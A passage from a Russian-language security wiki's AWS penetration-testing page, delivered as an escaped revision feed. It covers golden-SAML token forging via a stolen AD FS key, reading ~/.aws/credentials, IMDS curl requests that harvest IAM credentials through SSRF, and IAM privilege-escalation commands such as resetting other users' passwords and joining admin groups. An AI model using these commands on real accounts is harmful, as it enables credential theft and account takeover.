python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1219</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1219"/>
				<updated>2022-10-17T10:47:39Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Augmented AI (Amazon A2I) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
==== iam:PutRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для роли.&lt;br /&gt;
&lt;br /&gt;
==== iam:PutGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для группы.&lt;br /&gt;
&lt;br /&gt;
==== iam:PuserUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateAssumeRolePolicy + sts:AssumeRole ====&lt;br /&gt;
&lt;br /&gt;
Обновить документ &amp;quot;AssumeRolePolicyDocument&amp;quot; для роли.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
